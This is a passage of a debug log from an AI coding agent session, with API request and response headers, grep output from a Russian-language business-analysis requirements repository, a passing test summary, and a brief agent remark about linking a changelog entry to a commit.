`ed42b3cd0eed2774c9b080232ca00484d9a4f7cd`: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442.\\n279:### Added \u2014 Issue #323: \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447 (Issue Forms) \u0434\u043b\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 `runs`\\n298:  [`scripts/validate_issue_323_issue_forms.py`](scripts/validate_issue_323_issue_forms.py)\\n300:  [`scripts/test_issue_323_issue_forms.py`](scripts/test_issue_323_issue_forms.py)\\n381:  | [`kb/processed/sip-trunk`](kb/processed/sip-trunk/index.md) | \u043d\u043e\u0432\u044b\u0439 | 1.23.43 | 39 | high |\",\n[2026-09-29T08:03:35.699Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:35.699Z] [INFO]       }\n[2026-09-29T08:03:35.699Z] [INFO]     ]\n[2026-09-29T08:03:35.699Z] [INFO]   },\n[2026-09-29T08:03:35.699Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:35.699Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"uuid\": \"d38fbe8a-9f12-4d12-b9bc-f8e09e013dab\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:35.695Z\",\n[2026-09-29T08:03:35.699Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:35.699Z] [INFO]     \"stdout\": \"26:> **\u044f\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430**, \u0437\u0430\u0449\u0438\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u043d\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 `SKILL.md` \u043e\u0442\\n35:[\u0441\u043d\u0438\u043c\u043a\u0430 \u0432\u0445\u043e\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md):\\n53:| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 |\\n54:| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n57:| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n58:| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n60:| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n61:| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n63:| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n74:1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n75:   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n84:3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\\n104:| \u0413\u0435\u0439\u0442\u044b `GT-1`\u2026`GT-4`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-*` | \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u044c \u0438 \u043c\u043e\u0434\u0443\u043b\u0438 `M1`\u2013`M4` | \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e | \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430 |\\n---\\n40:  `ed42b3cd0eed2774c9b080232ca00484d9a4f7cd`: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u043d\u0435\u0442.\\n279:### Added \u2014 Issue #323: \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447 (Issue Forms) \u0434\u043b\u044f \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 `runs`\\n298:  [`scripts/validate_issue_323_issue_forms.py`](scripts/validate_issue_323_issue_forms.py)\\n300:  [`scripts/test_issue_323_issue_forms.py`](scripts/test_issue_323_issue_forms.py)\\n381:  | [`kb/processed/sip-trunk`](kb/processed/sip-trunk/index.md) | \u043d\u043e\u0432\u044b\u0439 | 1.23.43 | 39 | high |\",\n[2026-09-29T08:03:35.699Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:35.699Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:35.699Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:35.699Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:35.699Z] [INFO]   }\n[2026-09-29T08:03:35.699Z] [INFO] }\n[2026-09-29T08:03:35.780Z] [STDOUT] [log_a4478f] sending request {\n[2026-09-29T08:03:35.784Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:35.787Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:35.790Z] [STDOUT]   options: {\n[2026-09-29T08:03:35.792Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:35.796Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:35.800Z] [STDOUT]     body: {\n[2026-09-29T08:03:35.802Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:35.805Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:35.807Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:35.813Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:35.817Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:35.819Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:35.821Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:35.824Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:35.826Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:35.828Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:35.832Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:35.834Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:35.836Z] [STDOUT]     },\n[2026-09-29T08:03:35.838Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:35.840Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:35.842Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:35.850Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:35.852Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:35.855Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:35.857Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:35.859Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:35.861Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:35.863Z] [STDOUT]     },\n[2026-09-29T08:03:35.866Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:35.868Z] [STDOUT]   },\n[2026-09-29T08:03:35.871Z] [STDOUT]   headers: {\n[2026-09-29T08:03:35.877Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:35.879Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:35.883Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:35.887Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:35.889Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:35.891Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:35.894Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:35.898Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:35.902Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:35.910Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2068\",\n[2026-09-29T08:03:35.916Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:35.919Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:35.922Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:35.926Z] [STDOUT]     \"x-client-request-id\": \"b7dbc81b-b4d2-4d1a-9de4-f893f549056f\",\n[2026-09-29T08:03:35.928Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:35.936Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:35.953Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:35.958Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:35.964Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:35.967Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:35.973Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:35.977Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:35.982Z] [STDOUT]   },\n[2026-09-29T08:03:35.987Z] [STDOUT] }\n[2026-09-29T08:03:36.804Z] [STDOUT] [log_a4478f, request-id: \"req_011CfXP9BQqp3CduFFtaCKns\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1024ms\n[2026-09-29T08:03:36.807Z] [STDOUT] [log_a4478f] response start {\n[2026-09-29T08:03:36.814Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:36.817Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:36.820Z] [STDOUT]   headers: {\n[2026-09-29T08:03:36.822Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:36.829Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:36.834Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:36.836Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:36.838Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:36.842Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:36.846Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:36.848Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:36.851Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:36.854Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:36.856Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:36.858Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:36.860Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:36.863Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:36.866Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:36.870Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:36.875Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:36.880Z] [STDOUT]     \"cf-ray\": \"a42978e4ab755d90-FRA\",\n[2026-09-29T08:03:36.882Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:36.884Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:36.886Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:36.890Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:36.893Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:36 GMT\",\n[2026-09-29T08:03:36.895Z] [STDOUT]     \"request-id\": \"req_011CfXP9BQqp3CduFFtaCKns\",\n[2026-09-29T08:03:36.898Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:36.901Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:36.904Z] [STDOUT]     traceresponse: \"00-c541f3e9731055424d6ff740b462f75a-a9bb006ee6fd9b75-01\",\n[2026-09-29T08:03:36.907Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:36.911Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:36.916Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:36.921Z] [STDOUT]   },\n[2026-09-29T08:03:36.925Z] [STDOUT]   durationMs: 1024,\n[2026-09-29T08:03:36.928Z] [STDOUT] }\n[2026-09-29T08:03:36.935Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:36.937Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:36 GMT\",\n[2026-09-29T08:03:36.940Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:36.944Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:36.946Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:36.948Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:36.950Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:36.953Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:36.956Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:36.962Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:36.966Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:36.973Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:36.976Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:36.979Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:36.983Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:36.986Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:36.990Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:36.992Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:36.994Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:36.997Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:36.999Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:37.001Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:37.004Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:37.006Z] [STDOUT]   \"request-id\": \"req_011CfXP9BQqp3CduFFtaCKns\",\n[2026-09-29T08:03:37.011Z] [STDOUT]   \"traceresponse\": \"00-c541f3e9731055424d6ff740b462f75a-a9bb006ee6fd9b75-01\",\n[2026-09-29T08:03:37.016Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:37.018Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:37.020Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:37.022Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:37.024Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:37.028Z] [STDOUT]   \"cf-ray\": \"a42978e4ab755d90-FRA\",\n[2026-09-29T08:03:37.033Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:37.044Z] [STDOUT] [log_a4478f] response parsed {\n[2026-09-29T08:03:37.058Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:37.061Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:37.063Z] [STDOUT]   body: X {\n[2026-09-29T08:03:37.070Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:37.073Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:37.075Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:37.080Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:37.083Z] [STDOUT]     },\n[2026-09-29T08:03:37.088Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:37.092Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:37.096Z] [STDOUT]     toReadableStream: [Function: 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{\n[2026-09-29T08:03:38.063Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"id\": \"msg_011CfXP9Bs8dp2FykwkA7KFV\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:38.063Z] [INFO]     \"content\": [\n[2026-09-29T08:03:38.063Z] [INFO]       {\n[2026-09-29T08:03:38.063Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:03:38.063Z] [INFO]         \"text\": \"The constructs check out. The mango_ba_prompts CHANGELOG doesn't record the 23-file split, so I'll point that link to the commit instead, using whatever the slides cite.\"\n[2026-09-29T08:03:38.063Z] [INFO]       }\n[2026-09-29T08:03:38.063Z] [INFO]     ],\n[2026-09-29T08:03:38.063Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:38.063Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:38.063Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:38.063Z] [INFO]       \"cache_creation_input_tokens\": 1666,\n[2026-09-29T08:03:38.063Z] [INFO]       \"cache_read_input_tokens\": 93873,\n[2026-09-29T08:03:38.063Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:38.063Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:38.063Z] [INFO]         \"ephemeral_1h_input_tokens\": 1666\n[2026-09-29T08:03:38.063Z] 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\"222:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\n223:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md\\n224:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md\\n226:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts\\n497:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\nd8a47597ed9f0301e03086e7c14cbd35205b01d1\\nrefactor: split BA prompts draft into 23 standardized files (#56)\\n\\nOK (skipped=6)\\nExecution package tests passed (26 package cases + route emulation + runner negatives + BA guides + BCREQ regression and compilation).\\n\\n[exited with code 0]\",\n[2026-09-29T08:03:42.754Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:42.754Z] [INFO]       }\n[2026-09-29T08:03:42.754Z] [INFO]     ]\n[2026-09-29T08:03:42.754Z] [INFO]   },\n[2026-09-29T08:03:42.754Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:42.754Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:42.754Z] [INFO]   \"uuid\": \"4739935d-7cec-4f1c-8376-f93c5d55e78b\",\n[2026-09-29T08:03:42.754Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:42.749Z\",\n[2026-09-29T08:03:42.754Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:42.754Z] [INFO]     \"stdout\": \"222:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\n223:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md\\n224:https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md\\n226:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts\\n497:https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs\\nd8a47597ed9f0301e03086e7c14cbd35205b01d1\\nrefactor: split BA prompts draft into 23 standardized files (#56)\\n\\nOK (skipped=6)\\nExecution package tests passed (26 package cases + route emulation + runner negatives + BA guides + BCREQ regression and compilation).\\n\\n[exited with code 0]\",\n[2026-09-29T08:03:42.754Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:42.754Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:42.754Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:42.754Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:42.754Z] [INFO]   }\n[2026-09-29T08:03:42.754Z] [INFO] }\n[2026-09-29T08:03:42.824Z] [STDOUT] [log_68a1ab] sending request {\n[2026-09-29T08:03:42.832Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:42.846Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:42.850Z] [STDOUT]   options: {\n[2026-09-29T08:03:42.857Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:42.864Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:42.866Z] [STDOUT]     body: {\n[2026-09-29T08:03:42.871Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:42.873Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:42.875Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:42.881Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:42.883Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:42.885Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:42.887Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:42.889Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:42.891Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:42.893Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:42.896Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:42.898Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:42.900Z] [STDOUT]     },\n[2026-09-29T08:03:42.902Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:42.903Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:42.905Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:42.908Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:42.911Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:42.916Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:42.918Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:42.920Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:42.922Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:42.924Z] [STDOUT]     },\n[2026-09-29T08:03:42.926Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:42.928Z] [STDOUT]   },\n[2026-09-29T08:03:42.930Z] [STDOUT]   headers: {\n[2026-09-29T08:03:42.932Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:42.935Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:42.938Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:42.940Z] [STDOUT]     